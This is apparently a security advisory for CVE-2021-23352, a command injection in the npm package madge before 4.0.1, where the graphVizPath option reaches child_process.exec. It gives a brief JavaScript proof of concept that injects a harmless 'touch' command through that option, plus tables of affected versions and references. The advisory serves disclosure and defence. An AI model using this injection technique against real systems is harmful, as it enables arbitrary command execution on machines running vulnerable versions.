high8.6
CVE-2021-23352
Madge vulnerable to command injection
Impact
This affects the package madge before 4.0.1. It is possible to specify a custom Graphviz path via the graphVizPath option parameter which, when the .image(), .svg() or .dot() functions are called, is executed by the childprocess.exec function. ### PoC ```js const madge = require('madge'); madge('..', {graphVizPath: "touch HELLO;"}) .then((res) => res.svg()) .then((writtenImagePath) => { console.log('Image written to ' + writtenImagePath); }); ```
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | madge | < 4.0.1 | 4.0.1 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Madge Project | Madge | before 4.0.1 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/pahen/madge/blob/master/lib/graph.js%23L27
- https://github.com/pahen/madge/commit/da5cbc9ab30372d687fa7c324b22af7ffa5c6332
- https://snyk.io/vuln/SNYK-JS-MADGE-1082875
- https://github.com/advisories/GHSA-753c-phhg-cj29
- https://nvd.nist.gov/vuln/detail/CVE-2021-23352
- https://github.com/pahen/madge/blob/master/lib/graph.js#L27